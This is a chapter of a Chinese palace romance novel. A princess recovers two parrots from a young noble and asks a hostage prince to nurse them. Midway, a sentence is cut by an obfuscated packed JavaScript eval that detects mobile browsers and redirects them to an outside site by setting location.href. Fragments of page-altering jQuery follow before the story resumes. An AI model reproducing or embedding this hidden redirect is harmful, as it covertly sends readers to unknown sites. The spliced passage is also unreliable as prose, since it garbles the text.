10. 第10章

作品:《守寡后重回剧情线

    “咦,少宁,你去哪儿了?”


    一道带笑的声音响起,被压在地上的少年回过神来,他挣扎着动了动,奈何身上的小太监使出全身力气禁锢着他,而他又不能真把人打晕。


    出声的人很快反应过来,几个大步冲了过来。


    “哈哈哈哈……”


    他看到被压在地上的锦衣少年先是抑制不住大笑了几声,随即才抹了抹眼角的笑泪,说:“少宁,想不到你也有今天。哈哈哈……”


    锦衣少年的脸更红了,他低声怒道:“滚开。”


    林青芜还没抢到鸟笼,岂肯轻易放过这个机会,她回头朝捣乱的人瞪了下。


    “……”


    但两人都懵了。


    林青芜:“这人有点眼熟。”


    眼熟的人:“七、是七妹吧?你怎么会在这里?”


    片刻,林青芜知道眼熟的人是谁了。


    大林朝玩世不恭的五皇子——林潇。


    林青芜:“……”


    这都能碰上,算她倒霉,出门没看黄历。


    锦衣少年叶少宁乘林青芜发愣间隙,一掌把她拍开,而后瞬间潇洒起身,脚步虚点几下,飘到高大的院墙上站立。


    风吹过,衣玦翩翩,少年眉眼间均是潇洒不羁。


    “公主!”


    “七妹。”


    芷岸惊叫出声,完全忘记自己在宫外。


    林青芜被一掌打在左臂时,心道:完了完了,要摔死了。


    然而,狗吃屎模样的摔倒并不在意料之中,林潇救她一命,但是被拍中的左臂真的很疼。


    林青芜与林潇对视一眼,默契十足。


    两人都认出对方了。


    林青芜对着站在院墙上的叶少宁破口大骂:“有本事别搞偷袭这一套!有种下来打一架!”


    叶少宁站在院墙上,被林青芜这么一叫嚣,想打架的心思瞬间就动。


    但他很快想起来,刚刚的那两道声音。


    公主?七妹?


    难道说,这是那个毫无存在感的七公主?


    林潇以扇遮面。


    怎么会这样?他印象中的七妹是个腼腆害羞的小姑娘。


    也没多久不见,怎么就变成这样了?


    不等林潇感叹完,他就见林青芜扯着他的衣袖,在他耳畔轻声说。


    “五哥,你一定要帮我抢回那两只鹦鹉,不然我就告诉德妃娘娘,你联合外人欺负我。”


    林潇一脸震惊。


    他的可爱七妹居然威胁他!


    林青芜看林潇为难的神色,便知自己这招奏效了。


    小说里林潇是个玩世不恭的纨绔,可没少惹事让林帝与他母亲德妃联合教训。


    德妃相貌比不上静贵妃与林月华的母亲丽妃,但温柔娴雅,性情稳重,一直以来也深受林帝喜爱。


    此刻搬出德妃便是最大的武器。


    从小习武的叶少宁耳力惊人,林青芜悄声说的话一字不落地听到耳朵里。


    他挑了挑眉,嘴角露出了极为好看的笑。


    叶少宁朝林青芜喊道:“就你跟林潇是兄妹吗?我跟他还是兄弟呢,看他帮你还是帮我……”


    他说完还对着林青芜做了鬼脸,气得林青芜脸颊染上一抹桃粉。


    夹在中间的林潇无奈叹气。


    认真思考了下,还是觉得妹妹重要,毕竟妹妹会告状。


    呜,他太难了!


    林潇合起折扇,对叶少宁喊话:“少宁,你先下来说话。”


    叶少宁迟疑了会儿,一跃而下,姿态风流潇洒。


    “少宁呀。”林潇说话的同时朝叶少宁眨了下眼睛,又说:“咱们要礼让姑娘,你懂得吧?”


    “就是就是。”林青芜在一旁点头附和。


    林潇见叶少宁不为所动,便用口语对他说:要是挨揍,你也有份。


    叶少宁父兄镇守在齐林两国边境,甚少回京。母亲早逝,家里只有一个祖母,平日都是他小姨德妃管教。


    林潇要是被罚,供出他的话,他也免不了一顿训斥。


    稍一动脑,叶少宁就不情不愿地把鸟笼递给林青芜。


    他故作恶狠狠地威胁她:“下次别让小爷我抓住你的小辫子。”


    林青芜嘿嘿一笑,并不理他。


    “五哥,我先回去了,回见。”


    她对林潇打了个招呼,就去找掌柜,让掌柜帮忙,使鹦鹉暂时不叫唤,她好带进宫里去。


    掌柜处理好之后,叮嘱她一定要尽快把打包好的鹦鹉放出来。


    林青芜点头带着芷岸直奔景龙门。


    两人跑得上气不接下气,但好歹赶上了。


    入宫却比出宫的时候困难多了,一个个排队搜身过去。


    等了许久,终于轮到林青芜与芷岸,她把备好的银子与文书递交过去,才免去搜身。


    身着内侍服,不敢在后宫随意跑动,她们俩一脸心焦地往回疾走。


    好不容易走回昭阳宫,两人还没来得及换衣裳,打开鹦鹉的包装时,两只鹦鹉都已经萎靡不振。


    芷岸慌了神;“公主,这可怎么办呀?找御医吗,他们懂不懂得给鹦鹉看呢。”


    “让我想想啊。”林青芜努力让自己镇定下来,各种办法在脑子里一一顺过去。


    林青芜:“去找裴元安。”


    她抱起两只鹦鹉立马跑了起来。


    裴元安自己养过喜鹊,一定知道怎么救活鹦鹉!


    夕阳余晖浅浅洒下。


    莫语拿着大扫帚扫着院里地上的落叶。


    “砰砰砰!”


    急促又短暂的拍门声吓他一跳。


    “来了,稍等。”


    他喊了一句,放下手中的扫帚就去开门,心里却在疑惑这么晚了谁还会来这儿。


    林青芜怀里兜着两只鹦鹉横冲直撞跑了进去。


    她边跑边问:“裴公子在吗?”


    裴元安从屋里出来,见身着内侍衣裳的林青芜,愣怔了下。


    随即又看到她怀里抱着的鹦鹉,便瞬间明白是怎么回事。


    他声音淡淡地说:“七公主是需要裴某帮忙看看鹦鹉吗?”


    “对!对对。”


    林青芜累得直喘气,但依旧口齿清晰地表明来意。


    她一路狂奔,把芷岸甩在很身后,到现在芷岸都还没跟上来。


    林青芜用手背擦去鬓角的汗珠,脸颊一片酡红,鼻梁上的小痣跟着轻轻扇动得鼻翼起起伏伏。


    裴元安稍稍犹豫了下,便从林青芜怀里接过那两只无精打采的小鹦鹉。


    两只小鹦鹉都不大,约摸八.九个月刚成年的样子。


    他把捆扎鹦鹉嘴巴的绳索轻轻解绑下来。又仔细检查过鹦鹉的身子,见无伤口,便猜只是闷久,重新呼吸新鲜空气后有些疲倦、无力、嗜睡


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16956770|193162||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    等症状。


    裴元安面色沉着地对莫语吩咐说:“帮我取一小碗清水。”


    莫语依言去办。


    他刚刚盯着林青芜看了会,才认出那个人是七公主。


    只是七公主为啥要穿他们的衣服?


    “它们不会有事吧?”


    林青芜悄声询问,像是怕惊到那两只小鹦鹉一般。


    裴元安只摇了摇头,并不做答。


    很快,莫语端着满满一碗水小心翼翼走来。


    裴元安把鹦鹉连着包袱一起放在石桌上,又倒掉碗里三分一的水,从袖口处拿出一个拇指大的小竹筒。


    他修长的指尖轻点,小竹筒里的药粉入水即化。


    将掺了药粉的水放置小鹦鹉面前,鹦鹉咕噜一声,伸出小小的脑袋轻轻啄了下碗里的水。


    才跑来的芷岸一进门就看见三个人围着石桌望着什么东西。


    她不敢轻易吭声,悄悄走近一看,原是小鹦鹉在喝水。


    小鹦鹉的状态倒是比来之前好了许多。


    看来公主的猜测是对的,裴公子确实会医治小动物。


    折腾一番下来,小鹦鹉喝了药水后看起来精神了些。


    林青芜这才松了口气。


    裴元安也直起身子,夕阳余晖落在他长直的眼睫上,似镀上一层浅浅的光晕。


    林青芜跟着眨了下眼睛。


    她看了看裴元安又望了眼试图站起来的小鹦鹉,试探问说:“裴公子愿意帮我照顾鹦鹉三两天吗?”


    “嗯?”


    裴元安应了一声,侧首看她,似乎在问为什么。


    林青芜解释:“小鹦鹉看着还没好起来,我又不懂如何照顾它们,万一它们在我手里撑不过两天就糟糕了。”


    “所以只能拜托裴公子啦。”


    她眼巴巴地看着裴元安,略带了点祈求的桃花眼楚楚可怜。


    裴元安轻轻点了下头,回了句:“好。”


    听见肯定的答复,林青芜一反之前可怜的模样,脸上扬起一抹明媚的笑,略浅的瞳色泛着粼粼波光。


    裴元安有一瞬间的愣神。


    他收回视线,伸出食指递向石桌上的小鹦鹉,逗它们玩。


    “七公主如此在意这俩小东西,为何会信我……”


    ……为什么会相信我这个敌国质子。


    裴元安状似无意地问了句。


    林青芜想都没想,直接脱口而出:“直觉呀。潜意识里就感觉裴公子一定会治好小鹦鹉。”


    相信、直觉。


    曾也有人那么说过,但在利益驱使下,人终究是会变。


    裴元安收回被小鹦鹉翅膀包围的手指,淡淡说:“七公主该回去了。”


    林青芜看了眼起了星子的天色,叫了声:“糟糕。”


    她还穿着内侍的衣裳,太晚回去被人发现就不好了。


    突然慌张起来,林青芜也忘记跟裴元安道一声再会,带着芷岸就往昭阳宫赶。


    天黑后,近道没有宫灯,路上漆黑一片。


    她与芷岸望着那漆黑又张牙舞爪的小道,两人都有点退缩。


    芷岸吞了吞口水,小声说:“公主,要不咱们走大路吧。”


    大路远点,有明亮的宫灯,就是路上会经常遇到宫女与小太监,要稍微躲着点。


    两者相较下,林青芜同意芷岸的提议。


    走大道。